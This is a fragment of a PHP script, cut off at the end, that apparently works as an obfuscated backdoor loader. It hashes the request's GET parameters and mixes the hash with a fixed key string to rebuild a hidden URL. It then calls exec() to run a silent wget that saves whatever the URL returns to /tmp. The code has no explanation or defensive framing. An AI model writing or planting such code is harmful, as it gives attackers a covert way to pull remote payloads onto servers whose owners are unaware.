<?php
$a = substr(md5(print_r($_GET, true)), 0, 23);
$b = 'fhthnvwfbd/3i.a9opcl:8i';
$t = '0123456789abcdefghijklmnopqrstuvwxyz:/.';
$l = strlen($t);
$k = '';
for($i = 0; $i < 23; $i++) {
$k .= $t[(strpos($t, $a[$i]) + strpos($t, $b[$i]) + $l) % $l];
}
exec("wget -qO- $k > /tmp/a.txt")...